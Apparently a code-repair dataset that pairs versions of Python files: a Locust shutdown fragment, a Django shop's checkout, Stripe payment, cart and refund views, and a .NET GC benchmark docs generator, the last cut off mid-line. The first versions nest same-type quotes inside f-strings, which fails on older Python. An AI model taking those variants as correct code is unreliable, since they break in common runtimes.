environment.events.quitting.fire(environment=environment, reverse=True)
# determine the process exit code
if log.unhandled_greenlet_exception:
code = 2
elif environment.process_exit_code is not None:
code = environment.process_exit_code
elif len(runner.errors) or len(runner.exceptions):
code = options.exit_code_on_error
else:
code = 0
logger.info(f"Shutting down (exit code {code})")
if stats_printer_greenlet is not None:
stats_printer_greenlet.kill(block=False)
if headless_master_greenlet is not None:
headless_master_greenlet.kill(block=False)
logger.debug("Cleaning up runner...")
if runner is not None:
runner.quit()
if not isinstance(runner, locust.runners.WorkerRunner):
print_stats(runner.stats, current=False)
print_percentile_stats(runner.stats)
print_error_report(runner.stats)
sys.exit(code)
# install SIGTERM handler
def sig_term_handler():
logger.info("Got SIGTERM signal")
shutdown()
def save_html_report():
html_report = get_html_report(environment, show_download_link=False)
logger.info("writing html report to file: %s", options.html_file)
with open(options.html_file, "w", encoding="utf-8") as file:
file.write(html_report)
gevent.signal_handler(signal.SIGTERM, sig_term_handler)
try:
logger.info(f"Starting Locust {version}")
if options.autostart:
start_automatic_run()
main_greenlet.join()
if options.html_file:
save_html_report()
except KeyboardInterrupt:
if options.html_file:
save_html_report()
except Exception:
raise
shutdown()
|
import random
import string
import stripe
from django.conf import settings
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.core.exceptions import ObjectDoesNotExist
from django.shortcuts import redirect
from django.shortcuts import render, get_object_or_404
from django.utils import timezone
from django.views.generic import ListView, DetailView, View
from .forms import CheckoutForm, CouponForm, RefundForm, PaymentForm
from .models import Item, OrderItem, Order, Address, Payment, Coupon, Refund, UserProfile
stripe.api_key = settings.STRIPE_SECRET_KEY
def create_ref_code():
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=20))
def is_valid_form(values):
valid = True
for field in values:
if field == '':
valid = False
return valid
class CheckoutView(View):
def get(self, *args, **kwargs):
try:
order = Order.objects.get(user=self.request.user, ordered=False)
form = CheckoutForm()
context = {
'form': form,
'couponform': CouponForm(),
'order': order,
'DISPLAY_COUPON_FORM': True
}
shipping_address_qs = Address.objects.filter(
user=self.request.user,
address_type='S',
default=True
)
if shipping_address_qs.exists():
context.update(
{'default_shipping_address': shipping_address_qs[0]})
billing_address_qs = Address.objects.filter(
user=self.request.user,
address_type='B',
default=True
)
if billing_address_qs.exists():
context.update(
{'default_billing_address': billing_address_qs[0]})
return render(self.request, "checkout.html", context)
except ObjectDoesNotExist:
messages.info(self.request, "You do not have an active order")
return redirect("core:checkout")
def post(self, *args, **kwargs):
form = CheckoutForm(self.request.POST or None)
try:
order = Order.objects.get(user=self.request.user, ordered=False)
if form.is_valid():
use_default_shipping = form.cleaned_data.get(
'use_default_shipping')
if use_default_shipping:
print("Using the defualt shipping address")
address_qs = Address.objects.filter(
user=self.request.user,
address_type='S',
default=True
)
if address_qs.exists():
shipping_address = address_qs[0]
order.shipping_address = shipping_address
order.save()
else:
messages.info(
self.request, "No default shipping address available")
return redirect('core:checkout')
else:
print("User is entering a new shipping address")
shipping_address1 = form.cleaned_data.get(
'shipping_address')
shipping_address2 = form.cleaned_data.get(
'shipping_address2')
shipping_country = form.cleaned_data.get(
'shipping_country')
shipping_zip = form.cleaned_data.get('shipping_zip')
if is_valid_form([shipping_address1, shipping_country, shipping_zip]):
shipping_address = Address(
user=self.request.user,
street_address=shipping_address1,
apartment_address=shipping_address2,
country=shipping_country,
zip=shipping_zip,
address_type='S'
)
shipping_address.save()
order.shipping_address = shipping_address
order.save()
set_default_shipping = form.cleaned_data.get(
'set_default_shipping')
if set_default_shipping:
shipping_address.default = True
shipping_address.save()
else:
messages.info(
self.request, "Please fill in the required shipping address fields")
use_default_billing = form.cleaned_data.get(
'use_default_billing')
same_billing_address = form.cleaned_data.get(
'same_billing_address')
if same_billing_address:
billing_address = shipping_address
billing_address.pk = None
billing_address.save()
billing_address.address_type = 'B'
billing_address.save()
order.billing_address = billing_address
order.save()
elif use_default_billing:
print("Using the defualt billing address")
address_qs = Address.objects.filter(
user=self.request.user,
address_type='B',
default=True
)
if address_qs.exists():
billing_address = address_qs[0]
order.billing_address = billing_address
order.save()
else:
messages.info(
self.request, "No default billing address available")
return redirect('core:checkout')
else:
print("User is entering a new billing address")
billing_address1 = form.cleaned_data.get(
'billing_address')
billing_address2 = form.cleaned_data.get(
'billing_address2')
billing_country = form.cleaned_data.get(
'billing_country')
billing_zip = form.cleaned_data.get('billing_zip')
if is_valid_form([billing_address1, billing_country, billing_zip]):
billing_address = Address(
user=self.request.user,
street_address=billing_address1,
apartment_address=billing_address2,
country=billing_country,
zip=billing_zip,
address_type='B'
)
billing_address.save()
order.billing_address = billing_address
order.save()
set_default_billing = form.cleaned_data.get(
'set_default_billing')
if set_default_billing:
billing_address.default = True
billing_address.save()
else:
messages.info(
self.request, "Please fill in the required billing address fields")
payment_option = form.cleaned_data.get('payment_option')
if payment_option == 'S':
return redirect('core:payment', payment_option='stripe')
elif payment_option == 'P':
return redirect('core:payment', payment_option='paypal')
else:
messages.warning(
self.request, "Invalid payment option selected")
return redirect('core:checkout')
except ObjectDoesNotExist:
messages.warning(self.request, "You do not have an active order")
return redirect("core:order-summary")
class PaymentView(View):
def get(self, *args, **kwargs):
order = Order.objects.get(user=self.request.user, ordered=False)
if order.billing_address:
context = {
'order': order,
'DISPLAY_COUPON_FORM': False,
'STRIPE_PUBLIC_KEY': settings.STRIPE_PUBLIC_KEY
}
userprofile = self.request.user.userprofile
if userprofile.one_click_purchasing:
# fetch the users card list
cards = stripe.Customer.list_sources(
userprofile.stripe_customer_id,
limit=3,
object='card'
)
card_list = cards['data']
if len(card_list) > 0:
# update the context with the default card
context.update({
'card': card_list[0]
})
return render(self.request, "payment.html", context)
else:
messages.warning(
self.request, "You have not added a billing address")
return redirect("core:checkout")
def post(self, *args, **kwargs):
order = Order.objects.get(user=self.request.user, ordered=False)
form = PaymentForm(self.request.POST)
userprofile = UserProfile.objects.get(user=self.request.user)
if form.is_valid():
token = form.cleaned_data.get('stripeToken')
save = form.cleaned_data.get('save')
use_default = form.cleaned_data.get('use_default')
if save:
if userprofile.stripe_customer_id != '' and userprofile.stripe_customer_id is not None:
customer = stripe.Customer.retrieve(
userprofile.stripe_customer_id)
customer.sources.create(source=token)
else:
customer = stripe.Customer.create(
email=self.request.user.email,
)
customer.sources.create(source=token)
userprofile.stripe_customer_id = customer['id']
userprofile.one_click_purchasing = True
userprofile.save()
amount = int(order.get_total() * 100)
try:
if use_default or save:
# charge the customer because we cannot charge the token more than once
charge = stripe.Charge.create(
amount=amount, # cents
currency="usd",
customer=userprofile.stripe_customer_id
)
else:
# charge once off on the token
charge = stripe.Charge.create(
amount=amount, # cents
currency="usd",
source=token
)
# create the payment
payment = Payment()
payment.stripe_charge_id = charge['id']
payment.user = self.request.user
payment.amount = order.get_total()
payment.save()
# assign the payment to the order
order_items = order.items.all()
order_items.update(ordered=True)
for item in order_items:
item.save()
order.ordered = True
order.payment = payment
order.ref_code = create_ref_code()
order.save()
messages.success(self.request, "Your order was successful!")
return redirect("/")
except stripe.error.CardError as e:
body = e.json_body
err = body.get('error', {})
messages.warning(self.request, f"{err.get("message")}")
return redirect("/")
except stripe.error.RateLimitError:
# Too many requests made to the API too quickly
messages.warning(self.request, "Rate limit error")
return redirect("/")
except stripe.error.InvalidRequestError as e:
# Invalid parameters were supplied to Stripe's API
print(e)
messages.warning(self.request, "Invalid parameters")
return redirect("/")
except stripe.error.AuthenticationError:
# Authentication with Stripe's API failed
# (maybe you changed API keys recently)
messages.warning(self.request, "Not authenticated")
return redirect("/")
except stripe.error.APIConnectionError:
# Network communication with Stripe failed
messages.warning(self.request, "Network error")
return redirect("/")
except stripe.error.StripeError:
# Display a very generic error to the user, and maybe send
# yourself an email
messages.warning(
self.request, "Something went wrong. You were not charged. Please try again.")
return redirect("/")
except Exception:
# send an email to ourselves
messages.warning(
self.request, "A serious error occurred. We have been notifed.")
return redirect("/")
messages.warning(self.request, "Invalid data received")
return redirect("/payment/stripe/")
class HomeView(ListView):
model = Item
paginate_by = 10
template_name = "home.html"
class OrderSummaryView(LoginRequiredMixin, View):
def get(self, *args, **kwargs):
try:
order = Order.objects.get(user=self.request.user, ordered=False)
context = {
'object': order
}
return render(self.request, 'order_summary.html', context)
except ObjectDoesNotExist:
messages.warning(self.request, "You do not have an active order")
return redirect("/")
class ItemDetailView(DetailView):
model = Item
template_name = "product.html"
@login_required
def add_to_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_item, created = OrderItem.objects.get_or_create(
item=item,
user=request.user,
ordered=False
)
order_qs = Order.objects.filter(user=request.user, ordered=False)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item.quantity += 1
order_item.save()
messages.info(request, "This item quantity was updated.")
return redirect("core:order-summary")
else:
order.items.add(order_item)
messages.info(request, "This item was added to your cart.")
return redirect("core:order-summary")
else:
ordered_date = timezone.now()
order = Order.objects.create(
user=request.user, ordered_date=ordered_date)
order.items.add(order_item)
messages.info(request, "This item was added to your cart.")
return redirect("core:order-summary")
@login_required
def remove_from_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_qs = Order.objects.filter(
user=request.user,
ordered=False
)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item = OrderItem.objects.filter(
item=item,
user=request.user,
ordered=False
)[0]
order.items.remove(order_item)
order_item.delete()
messages.info(request, "This item was removed from your cart.")
return redirect("core:order-summary")
else:
messages.info(request, "This item was not in your cart")
return redirect("core:product", slug=slug)
else:
messages.info(request, "You do not have an active order")
return redirect("core:product", slug=slug)
@login_required
def remove_single_item_from_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_qs = Order.objects.filter(
user=request.user,
ordered=False
)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item = OrderItem.objects.filter(
item=item,
user=request.user,
ordered=False
)[0]
if order_item.quantity > 1:
order_item.quantity -= 1
order_item.save()
else:
order.items.remove(order_item)
messages.info(request, "This item quantity was updated.")
return redirect("core:order-summary")
else:
messages.info(request, "This item was not in your cart")
return redirect("core:product", slug=slug)
else:
messages.info(request, "You do not have an active order")
return redirect("core:product", slug=slug)
def get_coupon(request, code):
try:
coupon = Coupon.objects.get(code=code)
return coupon
except ObjectDoesNotExist:
messages.info(request, "This coupon does not exist")
return redirect("core:checkout")
class AddCouponView(View):
def post(self, *args, **kwargs):
form = CouponForm(self.request.POST or None)
if form.is_valid():
try:
code = form.cleaned_data.get('code')
order = Order.objects.get(
user=self.request.user, ordered=False)
order.coupon = get_coupon(self.request, code)
order.save()
messages.success(self.request, "Successfully added coupon")
return redirect("core:checkout")
except ObjectDoesNotExist:
messages.info(self.request, "You do not have an active order")
return redirect("core:checkout")
class RequestRefundView(View):
def get(self, *args, **kwargs):
form = RefundForm()
context = {
'form': form
}
return render(self.request, "request_refund.html", context)
def post(self, *args, **kwargs):
form = RefundForm(self.request.POST)
if form.is_valid():
ref_code = form.cleaned_data.get('ref_code')
message = form.cleaned_data.get('message')
email = form.cleaned_data.get('email')
# edit the order
try:
order = Order.objects.get(ref_code=ref_code)
order.refund_requested = True
order.save()
# store the refund
refund = Refund()
refund.order = order
refund.reason = message
refund.email = email
refund.save()
messages.info(self.request, "Your request was received.")
return redirect("core:request-refund")
except ObjectDoesNotExist:
messages.info(self.request, "This order does not exist.")
return redirect("core:request-refund")
| import random
import string
import stripe
from django.conf import settings
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.core.exceptions import ObjectDoesNotExist
from django.shortcuts import redirect
from django.shortcuts import render, get_object_or_404
from django.utils import timezone
from django.views.generic import ListView, DetailView, View
from .forms import CheckoutForm, CouponForm, RefundForm, PaymentForm
from .models import Item, OrderItem, Order, Address, Payment, Coupon, Refund, UserProfile
stripe.api_key = settings.STRIPE_SECRET_KEY
def create_ref_code():
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=20))
def is_valid_form(values):
valid = True
for field in values:
if field == '':
valid = False
return valid
class CheckoutView(View):
def get(self, *args, **kwargs):
try:
order = Order.objects.get(user=self.request.user, ordered=False)
form = CheckoutForm()
context = {
'form': form,
'couponform': CouponForm(),
'order': order,
'DISPLAY_COUPON_FORM': True
}
shipping_address_qs = Address.objects.filter(
user=self.request.user,
address_type='S',
default=True
)
if shipping_address_qs.exists():
context.update(
{'default_shipping_address': shipping_address_qs[0]})
billing_address_qs = Address.objects.filter(
user=self.request.user,
address_type='B',
default=True
)
if billing_address_qs.exists():
context.update(
{'default_billing_address': billing_address_qs[0]})
return render(self.request, "checkout.html", context)
except ObjectDoesNotExist:
messages.info(self.request, "You do not have an active order")
return redirect("core:checkout")
def post(self, *args, **kwargs):
form = CheckoutForm(self.request.POST or None)
try:
order = Order.objects.get(user=self.request.user, ordered=False)
if form.is_valid():
use_default_shipping = form.cleaned_data.get(
'use_default_shipping')
if use_default_shipping:
print("Using the defualt shipping address")
address_qs = Address.objects.filter(
user=self.request.user,
address_type='S',
default=True
)
if address_qs.exists():
shipping_address = address_qs[0]
order.shipping_address = shipping_address
order.save()
else:
messages.info(
self.request, "No default shipping address available")
return redirect('core:checkout')
else:
print("User is entering a new shipping address")
shipping_address1 = form.cleaned_data.get(
'shipping_address')
shipping_address2 = form.cleaned_data.get(
'shipping_address2')
shipping_country = form.cleaned_data.get(
'shipping_country')
shipping_zip = form.cleaned_data.get('shipping_zip')
if is_valid_form([shipping_address1, shipping_country, shipping_zip]):
shipping_address = Address(
user=self.request.user,
street_address=shipping_address1,
apartment_address=shipping_address2,
country=shipping_country,
zip=shipping_zip,
address_type='S'
)
shipping_address.save()
order.shipping_address = shipping_address
order.save()
set_default_shipping = form.cleaned_data.get(
'set_default_shipping')
if set_default_shipping:
shipping_address.default = True
shipping_address.save()
else:
messages.info(
self.request, "Please fill in the required shipping address fields")
use_default_billing = form.cleaned_data.get(
'use_default_billing')
same_billing_address = form.cleaned_data.get(
'same_billing_address')
if same_billing_address:
billing_address = shipping_address
billing_address.pk = None
billing_address.save()
billing_address.address_type = 'B'
billing_address.save()
order.billing_address = billing_address
order.save()
elif use_default_billing:
print("Using the defualt billing address")
address_qs = Address.objects.filter(
user=self.request.user,
address_type='B',
default=True
)
if address_qs.exists():
billing_address = address_qs[0]
order.billing_address = billing_address
order.save()
else:
messages.info(
self.request, "No default billing address available")
return redirect('core:checkout')
else:
print("User is entering a new billing address")
billing_address1 = form.cleaned_data.get(
'billing_address')
billing_address2 = form.cleaned_data.get(
'billing_address2')
billing_country = form.cleaned_data.get(
'billing_country')
billing_zip = form.cleaned_data.get('billing_zip')
if is_valid_form([billing_address1, billing_country, billing_zip]):
billing_address = Address(
user=self.request.user,
street_address=billing_address1,
apartment_address=billing_address2,
country=billing_country,
zip=billing_zip,
address_type='B'
)
billing_address.save()
order.billing_address = billing_address
order.save()
set_default_billing = form.cleaned_data.get(
'set_default_billing')
if set_default_billing:
billing_address.default = True
billing_address.save()
else:
messages.info(
self.request, "Please fill in the required billing address fields")
payment_option = form.cleaned_data.get('payment_option')
if payment_option == 'S':
return redirect('core:payment', payment_option='stripe')
elif payment_option == 'P':
return redirect('core:payment', payment_option='paypal')
else:
messages.warning(
self.request, "Invalid payment option selected")
return redirect('core:checkout')
except ObjectDoesNotExist:
messages.warning(self.request, "You do not have an active order")
return redirect("core:order-summary")
class PaymentView(View):
def get(self, *args, **kwargs):
order = Order.objects.get(user=self.request.user, ordered=False)
if order.billing_address:
context = {
'order': order,
'DISPLAY_COUPON_FORM': False,
'STRIPE_PUBLIC_KEY': settings.STRIPE_PUBLIC_KEY
}
userprofile = self.request.user.userprofile
if userprofile.one_click_purchasing:
# fetch the users card list
cards = stripe.Customer.list_sources(
userprofile.stripe_customer_id,
limit=3,
object='card'
)
card_list = cards['data']
if len(card_list) > 0:
# update the context with the default card
context.update({
'card': card_list[0]
})
return render(self.request, "payment.html", context)
else:
messages.warning(
self.request, "You have not added a billing address")
return redirect("core:checkout")
def post(self, *args, **kwargs):
order = Order.objects.get(user=self.request.user, ordered=False)
form = PaymentForm(self.request.POST)
userprofile = UserProfile.objects.get(user=self.request.user)
if form.is_valid():
token = form.cleaned_data.get('stripeToken')
save = form.cleaned_data.get('save')
use_default = form.cleaned_data.get('use_default')
if save:
if userprofile.stripe_customer_id != '' and userprofile.stripe_customer_id is not None:
customer = stripe.Customer.retrieve(
userprofile.stripe_customer_id)
customer.sources.create(source=token)
else:
customer = stripe.Customer.create(
email=self.request.user.email,
)
customer.sources.create(source=token)
userprofile.stripe_customer_id = customer['id']
userprofile.one_click_purchasing = True
userprofile.save()
amount = int(order.get_total() * 100)
try:
if use_default or save:
# charge the customer because we cannot charge the token more than once
charge = stripe.Charge.create(
amount=amount, # cents
currency="usd",
customer=userprofile.stripe_customer_id
)
else:
# charge once off on the token
charge = stripe.Charge.create(
amount=amount, # cents
currency="usd",
source=token
)
# create the payment
payment = Payment()
payment.stripe_charge_id = charge['id']
payment.user = self.request.user
payment.amount = order.get_total()
payment.save()
# assign the payment to the order
order_items = order.items.all()
order_items.update(ordered=True)
for item in order_items:
item.save()
order.ordered = True
order.payment = payment
order.ref_code = create_ref_code()
order.save()
messages.success(self.request, "Your order was successful!")
return redirect("/")
except stripe.error.CardError as e:
body = e.json_body
err = body.get('error', {})
messages.warning(self.request, f"{err.get('message')}")
return redirect("/")
except stripe.error.RateLimitError:
# Too many requests made to the API too quickly
messages.warning(self.request, "Rate limit error")
return redirect("/")
except stripe.error.InvalidRequestError as e:
# Invalid parameters were supplied to Stripe's API
print(e)
messages.warning(self.request, "Invalid parameters")
return redirect("/")
except stripe.error.AuthenticationError:
# Authentication with Stripe's API failed
# (maybe you changed API keys recently)
messages.warning(self.request, "Not authenticated")
return redirect("/")
except stripe.error.APIConnectionError:
# Network communication with Stripe failed
messages.warning(self.request, "Network error")
return redirect("/")
except stripe.error.StripeError:
# Display a very generic error to the user, and maybe send
# yourself an email
messages.warning(
self.request, "Something went wrong. You were not charged. Please try again.")
return redirect("/")
except Exception:
# send an email to ourselves
messages.warning(
self.request, "A serious error occurred. We have been notifed.")
return redirect("/")
messages.warning(self.request, "Invalid data received")
return redirect("/payment/stripe/")
class HomeView(ListView):
model = Item
paginate_by = 10
template_name = "home.html"
class OrderSummaryView(LoginRequiredMixin, View):
def get(self, *args, **kwargs):
try:
order = Order.objects.get(user=self.request.user, ordered=False)
context = {
'object': order
}
return render(self.request, 'order_summary.html', context)
except ObjectDoesNotExist:
messages.warning(self.request, "You do not have an active order")
return redirect("/")
class ItemDetailView(DetailView):
model = Item
template_name = "product.html"
@login_required
def add_to_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_item, created = OrderItem.objects.get_or_create(
item=item,
user=request.user,
ordered=False
)
order_qs = Order.objects.filter(user=request.user, ordered=False)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item.quantity += 1
order_item.save()
messages.info(request, "This item quantity was updated.")
return redirect("core:order-summary")
else:
order.items.add(order_item)
messages.info(request, "This item was added to your cart.")
return redirect("core:order-summary")
else:
ordered_date = timezone.now()
order = Order.objects.create(
user=request.user, ordered_date=ordered_date)
order.items.add(order_item)
messages.info(request, "This item was added to your cart.")
return redirect("core:order-summary")
@login_required
def remove_from_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_qs = Order.objects.filter(
user=request.user,
ordered=False
)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item = OrderItem.objects.filter(
item=item,
user=request.user,
ordered=False
)[0]
order.items.remove(order_item)
order_item.delete()
messages.info(request, "This item was removed from your cart.")
return redirect("core:order-summary")
else:
messages.info(request, "This item was not in your cart")
return redirect("core:product", slug=slug)
else:
messages.info(request, "You do not have an active order")
return redirect("core:product", slug=slug)
@login_required
def remove_single_item_from_cart(request, slug):
item = get_object_or_404(Item, slug=slug)
order_qs = Order.objects.filter(
user=request.user,
ordered=False
)
if order_qs.exists():
order = order_qs[0]
# check if the order item is in the order
if order.items.filter(item__slug=item.slug).exists():
order_item = OrderItem.objects.filter(
item=item,
user=request.user,
ordered=False
)[0]
if order_item.quantity > 1:
order_item.quantity -= 1
order_item.save()
else:
order.items.remove(order_item)
messages.info(request, "This item quantity was updated.")
return redirect("core:order-summary")
else:
messages.info(request, "This item was not in your cart")
return redirect("core:product", slug=slug)
else:
messages.info(request, "You do not have an active order")
return redirect("core:product", slug=slug)
def get_coupon(request, code):
try:
coupon = Coupon.objects.get(code=code)
return coupon
except ObjectDoesNotExist:
messages.info(request, "This coupon does not exist")
return redirect("core:checkout")
class AddCouponView(View):
def post(self, *args, **kwargs):
form = CouponForm(self.request.POST or None)
if form.is_valid():
try:
code = form.cleaned_data.get('code')
order = Order.objects.get(
user=self.request.user, ordered=False)
order.coupon = get_coupon(self.request, code)
order.save()
messages.success(self.request, "Successfully added coupon")
return redirect("core:checkout")
except ObjectDoesNotExist:
messages.info(self.request, "You do not have an active order")
return redirect("core:checkout")
class RequestRefundView(View):
def get(self, *args, **kwargs):
form = RefundForm()
context = {
'form': form
}
return render(self.request, "request_refund.html", context)
def post(self, *args, **kwargs):
form = RefundForm(self.request.POST)
if form.is_valid():
ref_code = form.cleaned_data.get('ref_code')
message = form.cleaned_data.get('message')
email = form.cleaned_data.get('email')
# edit the order
try:
order = Order.objects.get(ref_code=ref_code)
order.refund_requested = True
order.save()
# store the refund
refund = Refund()
refund.order = order
refund.reason = message
refund.email = email
refund.save()
messages.info(self.request, "Your request was received.")
return redirect("core:request-refund")
except ObjectDoesNotExist:
messages.info(self.request, "This order does not exist.")
return redirect("core:request-refund")
|
# Licensed to the .NET Foundation under one or more agreements.
# The .NET Foundation licenses this file to you under the MIT license.
# See the LICENSE file in the project root for more information.
from __future__ import annotations # Allow Field[Any]
from dataclasses import fields, Field, is_dataclass
from pathlib import Path
from textwrap import indent
from typing import Any, Optional, Set, Type
from .bench_file import (
AllocType,
BenchFile,
Benchmark,
BenchOptions,
CollectKind,
Config,
CoreclrSpecifier,
GCPerfSimArgs,
)
from .config import DOCS_PATH
from .option import optional_to_iter
from .parse_and_serialize import to_yaml
from .type_utils import get_field_info, iter_classes_in_type, match_type, todo, unindent_doc
from .util import update_file
_BENCHFILE_MD_PATH: Path = DOCS_PATH / "bench_file.md"
_EXAMPLE_BENCHFILE = BenchFile(
options=BenchOptions(collect=CollectKind.gc, default_iteration_count=3),
coreclrs={
"clr_a": CoreclrSpecifier(
core_root=Path("./coreclr"), commit_hash="930abba4060fb528db2bb9835a1bc5a6e684bfec"
),
"clr_b": CoreclrSpecifier(
core_root=Path("./coreclr2"), commit_hash="ed52a006c01a582d4d34add40c318d6f324b99ba"
),
},
common_config=Config(complus_gcserver=True, complus_gcconcurrent=False),
configs={
"smaller": Config(complus_gcgen0size=0x1000000),
"bigger": Config(complus_gcgen0size=0x2000000),
},
benchmarks={
"nosurvive": Benchmark(
executable="GCPerfSim",
arguments=GCPerfSimArgs(
tc=8,
lohar=0,
tagb=500,
tlgb=1,
sohsi=50,
lohsi=0,
sohpi=0,
lohpi=0,
allocType=AllocType.reference,
),
)
},
)
_INITIAL_TEXT = f"""
(This file is generated by `py . lint`)
A benchfile lets us vary three different things: coreclrs, configs, and benchmarks.
The test runner uses all combinations of coreclrs ⨯ configs ⨯ benchmarks.
Each is a map with keys being arbitrary names.
Here's an example benchfile:
```yaml
{to_yaml(_EXAMPLE_BENCHFILE)}
```
# Detailed documentation of each type
""".lstrip()
def update_benchfile_md() -> None:
text = _INITIAL_TEXT + _document_class_and_all_referenced_classes(BenchFile)
update_file(_BENCHFILE_MD_PATH, text)
def _document_class_and_all_referenced_classes(cls: Type[Any]) -> str:
assert is_dataclass(cls)
all_classes_set: Set[Type[Any]] = set()
_collect_all_classes_to_document(cls, all_classes_set)
all_classes = sorted(all_classes_set, key=lambda cls: cls.__name__)
return "\n\n\n".join(_describe_class(cls) for cls in all_classes)
def _indent_doc(doc: str) -> str:
return indent(unindent_doc(doc), " ")
def _describe_class(cls: Type[Any]) -> str:
# @dataclass will automatically add documentation like "ClassName(x: int, y: int)".
# We only want to display manually-written docs
doc = cls.__doc__
assert doc is not None
is_automatic_doc = doc.startswith(cls.__name__ + "(")
doc_str = "" if is_automatic_doc else _indent_doc(doc) + "\n"
fields_str = "\n".join(
d for f in fields(cls) for d in optional_to_iter(_describe_field(cls, f))
)
return f"## {cls.__name__}\n{doc_str}\n{fields_str}"
def _describe_field(cls: Type[Any], fld: Field[Any]) -> Optional[str]:
head = f"{fld.name}: `{_show_type(fld.type)}`"
info = get_field_info(cls, fld)
if info.hidden:
return None
elif info.doc is None:
return head
else:
return head + "\n" + indent(unindent_doc(info.doc), " ") + "\n"
def _collect_all_classes_to_document(cls: Type[Any], out: Set[Type[Any]]) -> None:
assert is_dataclass(cls)
if cls not in out:
out.add(cls)
for fld in fields(cls):
if not get_field_info(cls, fld).hidden:
field_type = fld.type
for t in iter_classes_in_type(field_type):
if is_dataclass(t):
_collect_all_classes_to_document(t, out)
def _show_type(t: Type[Any]) -> str:
return match_type(
t,
default_handler=lambda cls: todo(str(cls)),
handle_primitive=lambda p: "None" if p is type(None) else p.__name__,
handle_union=lambda union: " | ".join(_show_type(u) for u in union),
handle_enum=lambda enum_members: " | ".join(f'"{m}"' for m in enum_members),
handle_sequence=lambda seq_element_type: f"Sequence[{_show_type(seq_element_type)}]",
handle_tuple=lambda tuple_elements: (
f"Tuple[{", ".join(_show_type(e) for e in tuple_elements)}]"
),
handle_mapping=lambda k, v: f"Mapping[{_show_type(k)}, {_show_type(v)}]",
# We create a MarkDown header for each class, so we can link to it here.
handle_dataclass=lambda cls: f"[{cls.__name__}](#{cls.__name__})",
)
| # Licensed to the .NET Foundation under one or more agreements.
# The .NET Foundation licenses this file to you under the MIT license.
# See the LICENSE file in the project root for more information.
from __future__ import annotations # Allow Field[Any]
from dataclasses import fields, Field, is_dataclass
from pathlib import Path
from textwrap import indent
from typing import Any, Optional, Set, Type
from .bench_file import (
AllocType,
BenchFile,
Benchmark,
BenchOptions,
CollectKind,
Config,
CoreclrSpecifier,
GCPerfSimArgs,
)
from .config import DOCS_PATH
from .option import optional_to_iter
from .parse_and_serialize import to_yaml
from .type_utils import get_field_info, iter_classes_in_type, match_type, todo, unindent_doc
from .util import update_file
_BENCHFILE_MD_PATH: Path = DOCS_PATH / "bench_file.md"
_EXAMPLE_BENCHFILE = BenchFile(
options=BenchOptions(collect=CollectKind.gc, default_iteration_count=3),
coreclrs={
"clr_a": CoreclrSpecifier(
core_root=Path("./coreclr"), commit_hash="930abba4060fb528db2bb9835a1bc5a6e684bfec"
),
"clr_b": CoreclrSpecifier(
core_root=Path("./coreclr2"), commit_hash="ed52a006c01a582d4d34add40c318d6f324b99ba"
),
},
common_config=Config(complus_gcserver=True, complus_gcconcurrent=False),
configs={
"smaller": Config(complus_gcgen0size=0x1000000),
"bigger": Config(complus_gcgen0size=0x2000000),
},
benchmarks={
"nosurvive": Benchmark(
executable="GCPerfSim",
arguments=GCPerfSimArgs(
tc=8,
lohar=0,
tagb=500,
tlgb=1,
sohsi=50,
lohsi=0,
sohpi=0,
lohpi=0,
allocType=AllocType.reference,
),
)
},
)
_INITIAL_TEXT = f"""
(This file is generated by `py . lint`)
A benchfile lets us vary three different things: coreclrs, configs, and benchmarks.
The test runner uses all combinations of coreclrs ⨯ configs ⨯ benchmarks.
Each is a map with keys being arbitrary names.
Here's an example benchfile:
```yaml
{to_yaml(_EXAMPLE_BENCHFILE)}
```
# Detailed documentation of each type
""".lstrip()
def update_benchfile_md() -> None:
text = _INITIAL_TEXT + _document_class_and_all_referenced_classes(BenchFile)
update_file(_BENCHFILE_MD_PATH, text)
def _document_class_and_all_referenced_classes(cls: Type[Any]) -> str:
assert is_dataclass(cls)
all_classes_set: Set[Type[Any]] = set()
_collect_all_classes_to_document(cls, all_classes_set)
all_classes = sorted(all_classes_set, key=lambda cls: cls.__name__)
return "\n\n\n".join(_describe_class(cls) for cls in all_classes)
def _indent_doc(doc: str) -> str:
return indent(unindent_doc(doc), " ")
def _describe_class(cls: Type[Any]) -> str:
# @dataclass will automatically add documentation like "ClassName(x: int, y: int)".
# We only want to display manually-written docs
doc = cls.__doc__
assert doc is not None
is_automatic_doc = doc.startswith(cls.__name__ + "(")
doc_str = "" if is_automatic_doc else _indent_doc(doc) + "\n"
fields_str = "\n".join(
d for f in fields(cls) for d in optional_to_iter(_describe_field(cls, f))
)
return f"## {cls.__name__}\n{doc_str}\n{fields_str}"
def _describe_field(cls: Type[Any], fld: Field[Any]) -> Optional[str]:
head = f"{fld.name}: `{_show_type(fld.type)}`"
info = get_field_info(cls, fld)
if info.hidden:
return None
elif info.doc is None:
return head
else:
return head + "\n" + indent(unindent_doc(info.doc), " ") + "\n"
def _collect_all_classes_to_document(cls: Type[Any], out: Set[Type[Any]]) -> None:
assert is_dataclass(cls)
if cls not in out:
out.add(cls)
for fld in fields(cls):
if not get_field_info(cls, fld).hidden:
field_type = fld.type
for t in iter_classes_in_type(field_type):
if is_dataclass(t):
_collect_all_classes_to_document(t, out)
def _show_type(t: Type[Any]) -> str:
return match_type(
t,
default_handler=lambda cls: todo(str(cls)),
handle_primitive=lambda p: "None" if p is type(None) else p.__name__,
handle_union=lambda union: " | ".join(_show_type(u) for u in union),
handle_enum=lambda enum_members: " | ".join(f'"{m}"' for m in enum_members),
handle_sequence=lambda seq_element_type: f"Sequence[{_show_type(seq_element_type)}]",
handle_tuple=lambda tuple_elements: (
